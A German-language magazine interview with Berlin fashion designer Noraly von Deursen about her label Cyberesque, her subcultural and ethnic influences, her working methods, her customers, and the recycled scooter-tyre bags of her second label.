Noraly von Deursen betreibt in Berlin seit 13 Jahren ihr eigenes Modelabel Cyberesque, das sie in Shops auf der ganzen Welt, auf Festivals, in Technoclubs und in der Fetischszene anbietet. Ihre Kombination aus archaischen, ethnischen Einflüssen und modernen, urbanen Themen hat uns so sehr interessiert, dass wir uns mit ihr unterhalten haben.

Text: Ulrich Drees | Foto: Monica de Alwis

Noraly, wie bist du zur Modedesignerin geworden?

Ursprünglich komme ich aus einem ganz kleinen Ort im Süden der Niederlande, von wo aus ich nach Maastricht gegangen bin, um dort zu studieren. Vor 14 Jahren bin ich dann von dort noch während meines Studiums für ein Praktikum nach Berlin gegangen. Ich habe visuelle Kommunikation studiert und hatte hier einen Platz bei einer VJane bekommen. Ich bin dann geblieben, weil mir Berlin einfach so unglaublich gut gefallen hat. Schon kurze Zeit später habe ich mich selbstständig gemacht. 

Das macht man ja nicht einfach so, diesen Schritt zu gehen, auf einmal ein eigenes Geschäft aufzuziehen. Wie hat sich das bei dir entwickelt?

Schon als ich noch ganz jung war, war mir klar, dass ich einmal Modedesignerin werden wollte. Ich glaube, da war ich noch nicht einmal ein Teeanger. Heute empfinde ich das wirklich als Glück, dass mir das so früh schon bewusst war. Meine Mutter hat mich dann auch von Beginn an dabei unterstützt. Sie nähte selbst auch, auch ihre Schwester und meine Großmutter haben das getan. Im Grunde hat meine ganze Familie immer sehr kreative Sachen gemacht. Noch während meiner Abiturzeit habe ich nebenher auf einer Abendschule eine Ausbildung zur Schneiderin abgeschlossen.

Aber in Maastricht hast du dann Visuelle Kommunikation studiert?

Als ich nach dem Abitur dort zur Kunsthochschule ging, habe ich zuerst natürlich Mode studiert, aber das Studium hat mir überhaupt nicht gefallen, deshalb bin ich nach einem Jahr zur Visuellen Kommunikation gewechselt, wo ich dann auch meinen Abschluss gemacht habe.

Kannst du dich noch an das erste Stück erinnern, das du selbst genäht und dann verkauft hast?

Nein, das weiß ich leider nicht mehr. Vielleicht, weil ich schon so früh angefangen habe, ständig für Freunde und mich selbst Sachen zu nähen. Ich glaube, deshalb hat es mit der Selbstständigkeit dann auch so schnell funktioniert, weil ich das schon immer gemacht hatte.

Du präsentierst deine eigene Mode auch als dein eigenes Model. Trägst du selbst schon länger so einen ungewöhnlichen Stil?

Ja. Das ging ganz früh los. Ich glaube, ich hatte schon mit zwölf einen Iro.

Und wie würdest du deinen Stil beschreiben?

Das ist gar nicht so einfach zu beschreiben. Diese Frage kommt häufiger auf, aber ich kann da gar keine klare Antwort geben. Ich habe mit 13 ungefähr in der Punk-Szene angefangen und bin dann in die Gothic-Szene umgestiegen, auf die folgte dann ein Industrial-Look. Dann kam ich nach Berlin und veränderte mich noch einmal. Heute bin ich viel auf Festivals unterwegs und in Techno-Clubs, sodass sich das für mich zu einem komplett eigenen Stil entwickelt hat. Ich reise auch sehr viel und nehme dann wieder neue Einflüsse mit, die mein Aussehen beeinflussen.

Ordnest du dich denn in irgendeine Szene ein?

Nein, ich mag das auch gar nicht, wenn Leute in diesen Schubladen denken. Es ist doch toll, wenn sich jeder von dem bedient, was er gerade mag, und ich hoffe, dass ich selbst mit meinem Stil auch überall akzeptiert werde.

Welche Einflüsse prägen deine Mode?

Das sind schon all diese Dinge, die ich selbst durchlaufen habe. Dieses ethnologische Element – also die Einflüsse aus der Mode und Bekleidung anderer Länder – ist für mich sehr wichtig. Hinzu kommt, dass ich auch viel auf Messen in Gothic- und  Fetisch-Szene und auf alternativen Musikfestivals unterwegs bin, was meine Arbeit natürlich auch beeinflusst. Hier in Berlin prägt mich sicher die Techno-Szene im Berghain und KitKatClub. Ich versuche, so viele Inspirationsquellen wie möglich zu kombinieren.

Wenn man diese Inspirationen sieht, dann sind es ja auf der einen Seite viele ganz moderne Einflüsse und auf der anderen diese archaischen The­men aus der Bekleidung anderer Länder und Kulturen. Ist das für dich besonders spannend, diese Dinge zu kombinieren?

Absolut. Aber ich glaube, dass ohnehin viele Elemente der Mode, die wir heute als urban und modern empfinden, ohnehin aus diesen alten Zusammenhängen stammen. Der ganze Körperschmuck zum Beispiel ist ja in Asien etwas, das es dort schon zu einer Zeit gab, als wir das hier noch gar nicht kannten. Gleichzeitig gerät das in den Herkunftsländern manchmal angesichts moderner Trends etwas in Vergessenheit. Mit meiner Mode möchte ich das nicht nur bewahren, sondern auch zurückbringen.

Beschäftigst du dich in solchen Fällen auch mit den Kulturen, aus denen der jeweilige Kleidungsstil herkommt?

Ja, das gehört für mich immer auch dazu. Nicht zuletzt, weil ich auch sehr gern reise. In diesem Winter werde ich wieder nach Asien gehen, aber im nächsten Jahr möchte ich zum Beispiel nach Südamerika. Darauf bin ich schon seit längerer Zeit neugierig.

Wie kommst du von einer Idee zum fertigen Kleidungsstück?

Da ich zweidimensional nicht so gut bin, setze ich Sachen am liebsten dreidimensional um, da bin ich einfach stärker. Deshalb arbeite ich auch nicht mit einem Skizzenbuch oder so etwas. Wenn ich eine Idee habe, schreibe ich sie meistens gleich auf. Da ich auch eine sehr visuelle Person bin, habe ich das Design in meinem Kopf dann schon sehr präsent vor Augen. Das heißt, ich fange dann wirklich direkt an mit der Umsetzung und arbeite so lange daran, bis ich zufrieden bin. Wo es passt, mache ich allerdings schon ein Schnittmuster als technisches Hilfsmittel.

Machst du alles selbst, oder lässt du irgendwo nähen?

Prototypen mache ich alle selbst, auch die älteren Kollektionen fertige ich zusammen mit einem Helfer noch immer selbst hier in Berlin an. Die neueren Kollektionen lasse ich aber in Bali machen.

Wie werden die Menschen, die deine Sachen kaufen, auf dich aufmerksam?

Ich glaube, das passiert hauptsächlich auf den Messen und den Festivals. Das mache ich jetzt schon seit 13 Jahren, und das sind schon eine ganze Reihe von Events, die ich pro Jahr besuche. Da treffe ich viele meiner Kunden, gebe denen zum Beispiel einen Flyer mit, und wenn ihnen gefällt, was sie sehen, kommen sie dann auf mich zu.

Wie würdest du deine Kunden beschreiben?

Das sind Leute, die gerne etwas Schönes haben möchten, die Bock darauf haben, etwas Besonderes zu tragen und sehr individuell auszusehen. Es geht auch darum, dass sie etwas für besondere Gelegenheiten suchen, weil ich ja wirklich keine Alltagsmode mache.

Welche Emotionen löst deine Mode bei dir bzw. deinen Kunden aus?

Was ich besonders gern erlebe – und das ist auch einer der Gründe, warum ich so gern auf Festivals bin – ist, mitzuerleben, wie jemand eines meiner Stücke kauft und dann total glücklich aus meinem Shop rausgeht. Viele Frauen sind beispielsweise mit ihrem Körper oder etwas anderem an ihrem Aussehen ganz unzufrieden, und wenn ich sie dann in ein Kleid stecke und sie sich sehen, dann sind sie plötzlich jemand ganz anderes. Sie sind stärker und fühlen sich wie jemand ganz Besonderes. Es ist toll, das mitzuerleben.

Deine Mode hat oft auch eine starke, erotische Komponente.

Ja, in meinen Sachen fühlen sich viele Menschen wirklich attraktiver, erotischer, und daraus entsteht wiederum ein besonderes Selbstbewusstsein.

Du kommst jetzt gerade vom Burning Man Festival in den USA. Da ist ja praktisch jeder extrem individuell. Fällt man da auch mit einem entsprechenden Outfit überhaupt noch auf?

So hab ich das noch gar nicht gesehen – für mich ist es wirklich so, dass ich noch immer total begeistert davon bin, dass sich dort wirklich jeder Mühe mit seinem Aussehen gibt, und ich gucke mir das auch sehr genau an, weil mich das so interessiert.

Wie ist das mit Körperformen? Wird deine Mode nur von schlanken, schönen Menschen getragen?

Ich denke da gar nicht so viel drüber nach. Meine Kleidung ist immer in Standards von small bis medium angelegt, aber da ich ja auch Maßschneiderin gelernt habe, biete ich auf Festivals auch immer an, die Sachen so zu bearbeiten, dass sie jedem passen. Es kommt selten vor, dass es am Ende gar nicht funktioniert, weil ich genug Kleidung im Repertoire habe, um so zu beraten, dass es am Ende gut aussieht.

Machst du lieber Mode für Frauen oder Männer?

Früher war ich eher auf Frauen ausgerichtet, aber in den letzten zwei, drei Jahren versuche ich mehr und mehr, Mode für Männer zu machen, weil die sich immer so freuen, wenn sie etwas Besonderes finden.

Mit welchen Materialien arbeitest du am liebsten?

Fast alles ist aus Kunstleder. Echtes Leder will ich aus ethischen Gründen nicht nutzen. Aber das Kunstleder ist so hochwertig, dass der Unterschied den meisten Menschen gar nicht auffällt. Bei meinem zweiten Label Kalinoor – das sind ausschließlich Taschen und Rucksäcke – arbeite ich nur mit recycelten Roller-Reifen. Ich bin auf die Idee gekommen, weil ich häufiger in Bali bin, und obwohl die Insel ja nicht groß ist, fahren da ca. 3 Mio. Roller rum. Dementsprechend viele Altreifen fallen da an, die dort alle ins Meer geworfen werden.

Würdest du auch mal Technik in deine Stücke einbauen? Computer? Leuchtdioden?

Das würde mich wirklich interessieren, wenn ich nicht schon so viel Arbeit hätte. Aktuell entdecke ich aber die Möglichkeiten, die das Lasercutting bietet. Das wird mich sicher noch eine Weile auslasten.

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